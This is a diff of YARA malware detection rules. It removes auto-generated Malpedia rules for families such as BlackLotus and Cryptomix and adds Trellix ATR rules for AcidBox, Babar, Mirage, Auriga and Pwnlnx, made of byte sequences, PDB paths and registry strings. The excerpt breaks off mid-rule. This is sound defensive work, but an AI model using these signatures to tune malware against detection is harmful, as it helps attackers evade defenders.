+
+	strings:
+		$0 = {E4B5518CD941310A015E4AF8E5968C8231492FE19246A293A569D5D7A36F56EB2FC5B68FFF6F3359C19AF6806920C3FE6628F90A75440E6616297A031BA6075100D72DFAA9829E772E45D77B89F862081EAFDB19B4B2DCEF3F273FF645ACCEAA4B991F98373973C0FB25829E860D9BC195EF1A0AD9219456AD077D42868EE03EE00E88D04C434BA97E88DF99273A35E2C668A1C69954B4762390ABDFBE4CD4AF}
+		$1 = {90506F1C825F7AE0D8605F5C627CA325BFF199AB60A63DE8A90E923F4B18D7FB039E1DEC89D573AAB0A14C1D4BA70EB444753A41C03082A60CB4DB551393F2C50988A3181E7F31D01B5AAD94070432D98F18655AB8A555919FEFEA9DE1EDF1}
+		$2 = {D5EEF61336015A85FF04ED298A6BDD6742FF153E33DAF9B383A5FFDCE7E64D47748DB5FF2609DF9BD5C66735FF6916797B2D365313FF1461EAEB9DAEA754FF6D4D55D1956CC8CBFF75C10CE74BF88C8DFF3B553B839D42609FFF2916227230}
+		$3 = {6C750DDC932124500CE9B5AB91CE101BE9AD348220E9423124512282373675152281023428825C51770FE9841F853375125382F732750A5B83F60FEB6AEE2282647462228269745AEE22826F7452228275744AEE2282787442}
+		$4 = {19A8A063FFAAAF6C1E7F78A896FFFA5C8F30BA98B69CFF1961E107BEB7636AFF9EA56A4FC4EDE3F1FF295235ACD0185726FFADA6B8CB54B342C9FF86F58524DC91617BFFB4388DBE01B6CF86}
+		$5 = {50C449606B20184A6328556032197660AAF9507861609F6160640560B4546160C3A194056070C4A09EC4A01A0461A4C4A0831B16600561916069A291607061C09160AA1CB6204A}
+		$6 = {FFEB19D2636B8B95273156BB63E8C78470D55970F47CF26574B46DE86EE084704590CA8053F15320258BBD1AACF18B04F2E965C6605CB10880B7E8FCF53DF5EB0621635EFF}
+		$7 = {7E31126E14B8FF98554F6FCFB64207FFCF8D93B2573609C2FF99E4409F73BB9322FF1E5E380DC0BBABCAFF4B901EDF61BD6A68FFEE3253728C7769ABFF7BCDA939C959A282}
+		$8 = {1970FFC6F8AA7C32EE693CFF369579E5355EF62CFF682CEAF20BA3EA1CFF1AAC638666431B20FF54293D1E709C231AFFCD11B55599F64CB9FF1E5A9015DC867F}
+		$9 = {8DFF93B2573609C299E4FF409F73BB93221E5EFF380DC0BBABCA4B90FF1EDF61BD6A68EE32FF53728C7769AB7BCDFFA939C959A282D312FF5DD04F0370CE811F}
+		$10 = {DF5519064E31101CF3DA96C15FF96728B708F358F51759E3A22FFA1CF1BB986A2038D6753E6BF037945B8469ADF20BAB71E10F3DE27735F640704C970DFE8672}
 
 	condition:
-		7 of them and filesize <188416
+		uint16(0)==0x5a4d and filesize <200KB and all of them
 }
-rule MALPEDIA_Win_Tarsip_Auto : FILE
+rule TRELLIX_ARC_APT_Acidbox_Kernelmode_Module : KERNELDRIVER FILE
 {
 	meta:
-		description = "autogenerated rule brought to you by yara-signator"
-		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "4ad2adc0-f292-5e9b-b3e6-4bd61bcff987"
-		date = "2023-12-06"
-		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.tarsip"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.tarsip_auto.yar#L1-L122"
-		license_url = "N/A"
-		logic_hash = "228c42e725c96bb3ed688957a36bb59d0b21035a6d52aae02eb400f7262ce8f7"
+		description = "Rule to detect the kernel mode component of AcidBox"
+		author = "Marc Rivero | McAfee ATR Team"
+		id = "80b60307-5431-5f21-9e6f-06adaab0519d"
+		date = "2020-07-24"
+		modified = "2020-08-14"
+		reference = "https://github.com/advanced-threat-research/Yara-Rules/"
+		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/APT/APT_acidbox.yar#L1-L32"
+		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/LICENSE"
+		logic_hash = "e39da89d0da22115ac7889bc73ff183973a6c5334e304df955362bde76694d42"
 		score = 75
-		quality = 75
-		tags = "FILE"
-		version = "1"
-		tool = "yara-signator v0.6.0"
-		signator_config = "callsandjumps;datarefs;binvalue"
-		malpedia_rule_date = "20231130"
-		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
-		malpedia_version = "20230808"
-		malpedia_license = "CC BY-SA 4.0"
-		malpedia_sharing = "TLP:WHITE"
+		quality = 70
+		tags = "KERNELDRIVER, FILE"
+		rule_version = "v1"
+		malware_type = "kerneldriver"
+		malware_family = "Rootkit:W32/Acidbox"
+		actor_type = "APT"
+		actor_group = "Turla"
+		hash1 = "3ef071e0327e7014dd374d96bed023e6c434df6f98cce88a1e7335a667f6749d"
 
 	strings:
-		$sequence_0 = { 8884244f840000 e8???????? 8d94240c840000 52 }
-		$sequence_1 = { ff15???????? 89ae14420100 8b8610420100 3bc5 }
-		$sequence_2 = { ff15???????? 898614420100 85c0 754f }
-		$sequence_3 = { 80fa2f 7505 b83f000000 8d148500000000 8b442420 c1fa02 c1e106 }
-		$sequence_4 = { ff15???????? 5b 33c0 5e c3 57 6a00 }
-		$sequence_5 = { 8b08 038ea4830000 8b54240c 8a02 8801 }
-		$sequence_6 = { e8???????? 50 e8???????? e8???????? 99 b980841e00 }
-		$sequence_7 = { e8???????? 83c404 c746180f000000 895e14 885e04 8b4c240c 64890d00000000 }
-		$sequence_8 = { 8b442418 0374241c 53 8d542418 52 53 53 }
-		$sequence_9 = { 83bc240c01000010 7210 8b9424f8000000 52 e8???????? 83c404 c784240c0100000f000000 }
+		$pattern_0 = { 897c2434 8978b8 8d5f28 448bc3 33d2 }
+		$pattern_1 = { 4c8d842470010000 488d942418010000 498bcf e8???????? 8bd8 89442460 }
+		$pattern_2 = { 4c8bf1 49d1eb 4585c9 0f88a2000000 440fb717 498bd0 }
+		$pattern_3 = { ff15???????? 4c8d9c2480000000 498b5b10 498b7318 498b7b20 4d8b7328 498be3 }
+		$pattern_4 = { 33d2 41b8???????? 895c2420 e8???????? }
+		$pattern_5 = { 895c2420 4885ff 0f8424010000 440f20c0 84c0 0f8518010000 }
+		$pattern_6 = { 85f6 0f8469fdffff 488d8424c8010000 41b9???????? }
+		$pattern_7 = { 894c2404 750a ffc7 893c24 41ffc3 ebcb 85c9 }
+		$pattern_8 = { 488b5c2450 488b742458 488b7c2460 4883c430 }
+		$pattern_9 = { 33d2 488b4c2428 e8???????? 448b842450040000 4503c0 4c8d8c2450040000 488bd7 }
 
 	condition:
-		7 of them and filesize <360448
+		7 of them and filesize <78848
 }
-rule MALPEDIA_Win_Tinyloader_Auto : FILE
+rule TRELLIX_ARC_APT_Acidbox_Main_Module_Dll : BACKDOOR FILE
 {
 	meta:
-		description = "autogenerated rule brought to you by yara-signator"
-		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "0d2fde25-ff7d-54ba-a2fe-e20fb626403d"
-		date = "2023-12-06"
-		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.tinyloader"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.tinyloader_auto.yar#L1-L168"
-		license_url = "N/A"
-		logic_hash = "544c827393b5f9a7c28206644605d3c060467a9b94170d9210a95463f44b3867"
+		description = "Rule to detect the Main mode component of AcidBox"
+		author = "Marc Rivero | McAfee ATR Team"
+		id = "8c9beb0f-62f7-5788-8340-0b1ecdf54253"
+		date = "2020-07-24"
+		modified = "2020-08-14"
+		reference = "https://github.com/advanced-threat-research/Yara-Rules/"
+		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/APT/APT_acidbox.yar#L34-L65"
+		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/LICENSE"
+		logic_hash = "db98e204742b8629074d47df301ffcbb2dfb977a4da91557fb50838aae79e777"
 		score = 75
-		quality = 75
-		tags = "FILE"
-		version = "1"
-		tool = "yara-signator v0.6.0"
-		signator_config = "callsandjumps;datarefs;binvalue"
-		malpedia_rule_date = "20231130"
-		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
-		malpedia_version = "20230808"
-		malpedia_license = "CC BY-SA 4.0"
-		malpedia_sharing = "TLP:WHITE"
+		quality = 70
+		tags = "BACKDOOR, FILE"
+		rule_version = "v1"
+		malware_type = "backdoor"
+		malware_family = "Backdoor:W32/Acidbox"
+		actor_type = "APT"
+		actor_group = "Turla"
+		hash1 = "eb30a1822bd6f503f8151cb04bfd315a62fa67dbfe1f573e6fcfd74636ecedd5"
 
 	strings:
-		$sequence_0 = { 90 8bbb97114000 90 8938 90 }
-		$sequence_1 = { 6689c8 90 6a40 6800300000 6800800200 6a00 }
-		$sequence_2 = { 039d58080000 6a00 6800040000 53 ffb5b8050000 ff15???????? }
-		$sequence_3 = { 31db 90 31c9 90 }
-		$sequence_4 = { 8b5510 01da 8b12 8b4500 }
-		$sequence_5 = { 81c300040000 6a00 ff33 ff7500 ffb5b8050000 ff15???????? 83f8ff }
-		$sequence_6 = { 8b4500 83c008 c70000000000 c7855808000000000000 8b5d00 039d58080000 }
-		$sequence_7 = { 83bd580800000c 7302 ebc3 8b5d00 }
-		$sequence_8 = { ff15???????? 8985b8050000 6832a00000 ff15???????? 8b9da8050000 66894302 66c7030200 }
-		$sequence_9 = { 90 89c6 90 0500400100 }
-		$sequence_10 = { ffb5a0050000 6802020000 ff15???????? 6a06 6a01 6a02 ff15???????? }
-		$sequence_11 = { c705????????00010000 68???????? 68???????? ff15???????? 68???????? ff15???????? }
-		$sequence_12 = { 6a10 ffb5a8050000 ffb5b8050000 ff15???????? }
-		$sequence_13 = { 81fb04030000 730c 90 83c004 }
-		$sequence_14 = { 31c9 90 3108 90 813890909090 }
-		$sequence_15 = { 637574 6541 0050ff 15???????? c705????????00010000 68???????? 68???????? }
+		$pattern_0 = { 7707 b8022d03a0 eb05 e8???????? }
+		$pattern_1 = { 4403c8 8bc3 41d1c6 33c6 81c6d6c162ca c1cb02 33c7 }
+		$pattern_2 = { e9???????? 412b5c2418 8b45dc 412b442408 41015c241c 410144240c 015f1c }
+		$pattern_3 = { 48895c2408 57 4883ec30 488bfa 33db 4885c9 7479 }
+		$pattern_4 = { 48895c2408 57 4883ec30 498bd8 488bfa 488364245800 85c9 }
+		$pattern_5 = { 488987e0010000 e9???????? 81cb001003a0 e9???????? 488b87a0010000 44847806 742e }
+		$pattern_6 = { 4d8bcc 4c8d0596c50100 498bd4 488bce e8???????? 498b9de0010000 c74605aa993355 }
+		$pattern_7 = { 4533c0 8d5608 e8???????? 488bf0 4889442460 4885c0 750b }
+		$pattern_8 = { 488d5558 41c1ee08 41b802000000 44887559 e8???????? 4c8b4de0 894718 }
+		$pattern_9 = { 4d03c2 4d3bc2 4d13cc 4d0303 4d3b03 4d8903 4c8b13 }
 
 	condition:
-		7 of them and filesize <40960
+		7 of them and filesize <550912
 }
-rule MALPEDIA_Win_Blacklotus_Auto : FILE
+rule TRELLIX_ARC_APT_Acidbox_Ssp_Dll_Module : BACKDOOR FILE
 {
 	meta:
-		description = "autogenerated rule brought to you by yara-signator"
-		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "84ef9a0b-6544-5450-8b66-292ec2ba5dbd"
-		date = "2023-12-06"
-		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.blacklotus"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.blacklotus_auto.yar#L1-L123"
-		license_url = "N/A"
-		logic_hash = "94ccc2d7ff61cb6463b78893aadb2549c584433629bcbab33ca8298790f40cde"
+		description = "Rule to detect the SSP DLL component of AcidBox"
+		author = "Marc Rivero | McAfee ATR Team"
+		id = "ef1511c5-f650-5e65-937c-466f00932183"
+		date = "2020-07-24"
+		modified = "2020-08-14"
+		reference = "https://github.com/advanced-threat-research/Yara-Rules/"
+		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/APT/APT_acidbox.yar#L67-L98"
+		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/LICENSE"
+		logic_hash = "4c9b9de11d73587ca1ad1efa5455598e41edc5a9a59fc0339c429a212c1c7941"
 		score = 75
-		quality = 75
-		tags = "FILE"
-		version = "1"
-		tool = "yara-signator v0.6.0"
-		signator_config = "callsandjumps;datarefs;binvalue"
-		malpedia_rule_date = "20231130"
-		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
-		malpedia_version = "20230808"
-		malpedia_license = "CC BY-SA 4.0"
-		malpedia_sharing = "TLP:WHITE"
+		quality = 70
+		tags = "BACKDOOR, FILE"
+		rule_version = "v1"
+		malware_type = "backdoor"
+		malware_family = "Backdoor:W32/Acidbox"
+		actor_type = "APT"
+		actor_group = "Turla"
+		hash1 = "003669761229d3e1db0f5a5b333ef62b3dffcc8e27c821ce9018362e0a2df7e9"
 
 	strings:
-		$sequence_0 = { 443bca 7319 69c03f000100 4883c102 4103c0 41ffc1 440fb701 }
-		$sequence_1 = { c745cfc1afbd03 c745d301138a6b c745d73a911141 c745db4f67dcea c745df97f2cfce }
-		$sequence_2 = { 448bc6 488d155b1d0000 488bcb e8???????? 488bf0 }
-		$sequence_3 = { 770b 418b4908 03ca 413bcb 770e 6641ffc2 4983c128 }
-		$sequence_4 = { 42883c10 4183fb3c 0f8c45ffffff 498d8af0000000 41b810000000 498bd6 }
-		$sequence_5 = { 488d1588f7ffff e8???????? 488b05???????? 488bcb ff5020 488b5c2430 488b742438 }
-		$sequence_6 = { 4632440c30 eb1b 418af1 83f804 }
-		$sequence_7 = { 4889442428 4c8bc5 488bd3 48897c2420 }
-		$sequence_8 = { 740b 4883c602 483bf7 72bd eb0c bb03000000 eb05 }
-		$sequence_9 = { 48897010 48897818 4c897020 55 488d68c8 4881ec30010000 4c8bd1 }
+		$pattern_0 = { 49897ba0 8bc7 49894398 49897ba8 33c9 49894bb0 }
+		$pattern_1 = { 8b8424a8000000 c1e818 88443108 66895c310a 498b0e }
+		$pattern_2 = { 8b5f48 413bdd 410f47dd 85db 0f84f1000000 488b4720 4885c0 }
+		$pattern_3 = { e8???????? 85c0 78c7 488d9424a0020000 488d8c24e0030000 ff15???????? 4c8bf8 }
+		$pattern_4 = { ff15???????? 488bc8 4c8bc6 33d2 ff15???????? 8bfb 895c2420 }
+		$pattern_5 = { 415f c3 4c8bdc 49895b10 }
+		$pattern_6 = { 488d842488010000 4889442420 41bf???????? 458bcf 4c8bc7 418bd7 488d8c2490000000 }
+		$pattern_7 = { c1e908 0fb6c9 3bce 77b6 8bd0 b9???????? c1ea10 }
+		$pattern_8 = { 4c8bc3 ba???????? 488d4c2438 e8???????? 89442430 85c0 7508 }
+		$pattern_9 = { bb02160480 8bc3 488b5c2440 488b742448 488b7c2450 4883c430 }
 
 	condition:
-		7 of them and filesize <181248
+		7 of them and filesize <199680
 }
-rule MALPEDIA_Win_Unidentified_105_Auto : FILE
+rule TRELLIX_ARC_Apt_Babar_Malware : BACKDOOR FILE
 {
 	meta:
-		description = "autogenerated rule brought to you by yara-signator"
-		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "80a8f5ec-0d23-5074-b907-8dcd99006ffb"
-		date = "2023-12-06"
-		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_105"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.unidentified_105_auto.yar#L1-L114"
-		license_url = "N/A"
-		logic_hash = "03b63f792ccab1aa0e70284622fef7dcf74ab6cde5a0b9206fdbab8d689a2bd1"
+		description = "Rule to detect Babar malware"
+		author = "Marc Rivero | McAfee ATR Team"
+		id = "3cbb63ce-ff93-51ee-93aa-2594fa1f8dad"
+		date = "2015-02-18"
+		modified = "2020-08-14"
+		reference = "http://motherboard.vice.com/read/meet-babar-a-new-malware-almost-certainly-created-by-france"
+		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/APT/APT_babar_pdb.yar#L1-L35"
+		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/LICENSE"
+		hash = "c72a055b677cd9e5e2b2dcbba520425d023d906e6ee609b79c643d9034938ebf"
+		logic_hash = "02acef92691caed4573b609c111302427b9c27c5ef93f9199c52d75cb13e8615"
 		score = 75
-		quality = 75
-		tags = "FILE"
-		version = "1"
-		tool = "yara-signator v0.6.0"
-		signator_config = "callsandjumps;datarefs;binvalue"
-		malpedia_rule_date = "20231130"
-		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
-		malpedia_version = "20230808"
-		malpedia_license = "CC BY-SA 4.0"
-		malpedia_sharing = "TLP:WHITE"
+		quality = 45
+		tags = "BACKDOOR, FILE"
+		rule_version = "v1"
+		malware_type = "backdoor"
+		malware_family = "Backdoor:W32/Babar"
+		actor_type = "Cybercrime"
+		actor_group = "Unknown"
 
 	strings:
-		$sequence_0 = { 85c0 0f95c0 84c0 742c }
-		$sequence_1 = { 8bf8 8d4f02 b856555555 f7e9 8bc2 c1e81f 03c2 }
-		$sequence_2 = { 6a00 8d8dd0feffff 51 8d95fcfeffff }
-		$sequence_3 = { 8d8d94feffff 51 6800000010 50 52 ff15???????? 85c0 }
-		$sequence_4 = { e8???????? 83c404 50 e8???????? a1???????? 6800020000 }
-		$sequence_5 = { 83f8ff 7459 8d9424a0010000 52 }
-		$sequence_6 = { 68???????? 56 e8???????? 8bc6 83c454 }
-		$sequence_7 = { 8bf8 8d4f02 b856555555 f7e9 8bc2 }
-		$sequence_8 = { 8b3d???????? 8d45e4 50 33f6 }
-		$sequence_9 = { 6800100000 8d85f8efffff 50 51 }
+		$s1 = "c:\\Documents and Settings\\admin\\Desktop\\Babar64\\Babar64\\obj\\DllWrapper Release\\Release.pdb" fullword ascii
+		$s2 = "%COMMON_APPDATA%" fullword ascii
+		$s3 = "%%WINDIR%%\\%s\\%s" fullword ascii
+		$s4 = "/s /n %s \"%s\"" fullword ascii
+		$s5 = "/c start /wait " fullword ascii
+		$s6 = "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\\" fullword ascii
+		$s7 = "constructor or from DllMain." fullword ascii
+		$s8 = "ComSpec" fullword ascii
+		$s9 = "APPDATA" fullword ascii
+		$s10 = "WINDIR" fullword ascii
+		$s11 = "USERPROFILE" fullword ascii
 
 	condition:
-		7 of them and filesize <253952
+		uint16(0)==0x5a4d and filesize <2000KB and all of them
 }
-rule MALPEDIA_Win_Rook_Auto : FILE
+rule TRELLIX_ARC_Apt_Mirage_Pdb : TROJAN FILE
 {
 	meta:
-		description = "autogenerated rule brought to you by yara-signator"
-		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "18a58274-365f-5d90-8056-28a56db76f76"
-		date = "2023-12-06"
-		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.rook"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.rook_auto.yar#L1-L129"
-		license_url = "N/A"
-		logic_hash = "8b05af9f0d6f5102cdf2e062676438cba9dcdb9d6b25adc560d5025ee81a7b52"
+		description = "Rule to detect Mirage samples based on PDB"
+		author = "Marc Rivero | McAfee ATR Team"
+		id = "49b7623f-a2c9-52e4-8679-d62f6aae99ca"
+		date = "2012-09-18"
+		modified = "2020-08-14"
+		reference = "https://www.secureworks.com/research/the-mirage-campaign"
+		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/APT/APT_mirage_pdb.yar#L1-L26"
+		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/LICENSE"
+		hash = "0107a12f05bea4040a467dd5bc5bd130fd8a4206a09135d452875da89f121019"
+		logic_hash = "cb88dc787d9964451ea93f5574d9c73ae6a820d81e20d41c3c8ee44c3fee032d"
 		score = 75
-		quality = 75
-		tags = "FILE"
-		version = "1"
-		tool = "yara-signator v0.6.0"
-		signator_config = "callsandjumps;datarefs;binvalue"
-		malpedia_rule_date = "20231130"
-		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
-		malpedia_version = "20230808"
-		malpedia_license = "CC BY-SA 4.0"
-		malpedia_sharing = "TLP:WHITE"
+		quality = 70
+		tags = "TROJAN, FILE"
+		rule_version = "v1"
+		malware_type = "trojan"
+		malware_family = "Trojan:W32/Mirage"
+		actor_type = "Apt"
+		actor_group = "Unknown"
 
 	strings:
-		$sequence_0 = { 488d05478d0200 c7470801000000 48c7471003000000 48894748 488d05c59e0200 }
-		$sequence_1 = { 0f8521ffffff 44882b eb7b 488b9540070000 4c8d05979e0000 498bce }
-		$sequence_2 = { 85c0 0f85f5020000 488b8d08080000 488d85f8070000 4c89a424c0080000 488d15ffb90400 }
-		$sequence_3 = { ff15???????? 488bd3 488d0d82ac0400 448bc0 e8???????? 488b0d???????? 4c8bc3 }
-		$sequence_4 = { 4433d0 418bc1 48c1e808 0fb6c8 41c1e208 420fb6843170990500 4433d0 }
-		$sequence_5 = { 488d85f8070000 4c89a424c0080000 488d15ffb90400 4889442428 4c8d25d3450500 4c89ac24b8080000 }
-		$sequence_6 = { 488d542460 488d0d1c380500 e8???????? 488d9510020000 498bcc ff15???????? 4839bd10020000 }
-		$sequence_7 = { 48894760 488d0535980200 c7475001000000 48c7475804000000 48894778 488d050b710300 c7476801000000 }
-		$sequence_8 = { 4898 4d8d3446 83ed01 7586 4885f6 0f84d3000000 488bce }
-		$sequence_9 = { 4c8d05f7140300 488986b0000000 488d8e98000000 e8???????? 8bd8 85c0 0f8517ffffff }
+		$pdb = "\\MF-v1.2\\Server\\Debug\\Server.pdb"
+		$pdb1 = "\\fox_1.2 20110307\\MF-v1.2\\Server\\Release\\MirageFox_Server.pdb"
 
 	condition:
-		7 of them and filesize <843776
+		uint16(0)==0x5a4d and filesize <150KB and any of them
 }
-rule MALPEDIA_Win_Cryptomix_Auto : FILE
+rule TRELLIX_ARC_Apt_Auriga_Driver : KERNELDRIVER FILE
 {
 	meta:
-		description = "autogenerated rule brought to you by yara-signator"
-		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "9865a2c1-f352-5196-8a74-a585373e6231"
-		date = "2023-12-06"
-		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.cryptomix"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.cryptomix_auto.yar#L1-L173"
-		license_url = "N/A"
-		logic_hash = "2b59fc336b11257878a1c3e0c2e35ea57cb53b57126b62f006b040ede13bda6d"
+		description = "Rule to detect the Auriga driver"
+		author = "Marc Rivero | McAfee ATR Team"
+		id = "b61058a1-1b48-5be1-ba2f-74a7c3d38825"
+		date = "2013-03-13"
+		modified = "2020-08-14"
+		reference = "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf"
+		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/APT/APT_auriga_biscuit.yar#L1-L39"
+		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/LICENSE"
+		hash = "207eee627a76449ac6d2ca43338d28087c8b184e7b7b50fdc60a11950c8283ec"
+		logic_hash = "c027073ba398fe89d418be67f0850c8d9e4d4c50a991c45b84cdb416497ccf1c"
 		score = 75
-		quality = 75
-		tags = "FILE"
-		version = "1"
-		tool = "yara-signator v0.6.0"
-		signator_config = "callsandjumps;datarefs;binvalue"
-		malpedia_rule_date = "20231130"
-		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
-		malpedia_version = "20230808"
-		malpedia_license = "CC BY-SA 4.0"
-		malpedia_sharing = "TLP:WHITE"
+		quality = 70
+		tags = "KERNELDRIVER, FILE"
+		rule_version = "v1"
+		malware_type = "kerneldriver"
+		malware_family = "Driver:W32/Auriga"
+		actor_type = "APT"
+		actor_group = "APT1"
 
 	strings:
-		$sequence_0 = { c3 68f0767c2a 6a04 e8???????? 59 59 }
-		$sequence_1 = { 02f8 0fb6cf 8d7601 0fb60439 8846ff 881439 33c9 }
-		$sequence_2 = { e8???????? 59 eb03 8b5df0 ff75f8 e8???????? }
-		$sequence_3 = { 7504 6a08 eb35 83f804 }
-		$sequence_4 = { ff4d08 8b4dfc 8ad8 75cc 5f }
-		$sequence_5 = { 59 59 ffd0 83f87a 7413 56 57 }
-		$sequence_6 = { 56 683f000f00 56 56 56 53 57 }
-		$sequence_7 = { ffd0 c3 686ea4ffa5 6a05 }
-		$sequence_8 = { ffd6 85c0 0f856a010000 68???????? 8d85c4f9ffff }
-		$sequence_9 = { 837d0c01 8bbdb8f9ffff a1???????? 68???????? }
-		$sequence_10 = { 68???????? 57 ffd0 ff75fc e8???????? }
-		$sequence_11 = { 8bf1 6a01 899584efffff 89b58cefffff 898588efffff ff15???????? 6808020000 }
-		$sequence_12 = { 8d85c4f9ffff 50 ffd7 85c0 7460 68???????? }
-		$sequence_13 = { 8b35???????? 68007d0000 6a40 c745f8e8030000 }
-		$sequence_14 = { 6a00 6a00 ff15???????? 6896000000 ff15???????? 8b9d80efffff 8d8598f9ffff }
-		$sequence_15 = { 68???????? 56 e8???????? 59 59 85c0 7759 }
+		$s1 = "\\SystemRoot\\System32\\netui.dll" fullword wide
+		$s2 = "\\SystemRoot\\System32\\drivers\\riodrv32.sys" fullword wide
+		$s3 = "\\SystemRoot\\System32\\arp.exe" fullword wide
+		$s4 = "netui.dll" fullword ascii
+		$s5 = "riodrv32.sys" fullword wide
+		$s6 = "\\netui.dll" fullword wide
+		$s7 = "d:\\drizt\\projects\\auriga\\branches\\stone_~1\\server\\exe\\i386\\riodrv32.pdb" fullword ascii
+		$s8 = "\\riodrv32.sys" fullword wide
+		$s9 = "\\Registry\\Machine\\System\\CurrentControlSet\\Services\\riodrv32" fullword wide
+		$s10 = "\\DosDevices\\rio32drv" fullword wide
+		$s11 = "e\\Driver\\nsiproxy" fullword wide
+		$s12 = "(C) S3/Diamond Multimedia Systems. All rights reserved." fullword wide
+		$s13 = "\\Device\\rio32drv" fullword wide
+		$s14 = "\\Registry\\Machine\\SOFTWARE\\riodrv" fullword wide
+		$s15 = "\\Registry\\Machine\\SOFTWARE\\riodrv32" fullword wide
 
 	condition:
-		7 of them and filesize <188416
+		uint16(0)==0x5a4d and filesize <50KB and all of them
 }
-rule MALPEDIA_Win_Graphical_Neutrino_Auto : FILE
+import "pe"
+
+rule TRELLIX_ARC_Pwnlnx_Backdoor_Variant_1 : BACKDOOR FILE
 {
 	meta:
-		description = "autogenerated rule brought to you by yara-signator"
-		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "b16102ee-c7a4-5abc-870b-b75814e7493c"
-		date = "2023-12-06"
-		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.graphical_neutrino"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.graphical_neutrino_auto.yar#L1-L123"
-		license_url = "N/A"
-		logic_hash = "650397c4d3167e6ec1c66b8947fe66982f57b8190e3a878616091180b7325b66"
+		description = "Rule to detect the backdoor pwnlnx variant 1"
+		author = "Marc Rivero | McAfee ATR Team"
+		id = "5b76ca62-460c-5c36-a239-700cc509f2b0"
+		date = "2020-04-17"
+		modified = "2020-08-14"
+		reference = "https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-bb-decade-of-the-rats.pdf"
+		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/APT/APT_decade_of_RATs.yar#L3-L33"
+		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/LICENSE"
+		hash = "0f6033d6f82ce758b576e2d8c483815e908e323d0b700040fbdab5593fb5282b"
+		logic_hash = "1487890494dde891a6dbe7dff7ebd5660ee01fe10220215e680115f168c2ae4a"
 		score = 75
-		quality = 75
-		tags = "FILE"
-		version = "1"
-		tool = "yara-signator v0.6.0"
-		signator_config = "callsandjumps;datarefs;binvalue"
-		malpedia_rule_date = "20231130"
-		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
-		malpedia_version = "20230808"
-		malpedia_license = "CC BY-SA 4.0"
-		malpedia_sharing = "TLP:WHITE"
+		quality = 70
+		tags = "BACKDOOR, FILE"
+		rule_version = "v1"
+		malware_type = "backdoor"
+		malware_family = "Backdoor:W32/Pwnlnx"
+		actor_type = "Cybercrime"
+		actor_group = "Unknown"
 
 	strings:
-		$sequence_0 = { 4489c7 4889f2 48c7410800000000 4531c0 4889d9 4c8d6c2450 e8???????? }
-		$sequence_1 = { ff15???????? 4883fe10 7f1c 41b828400000 }
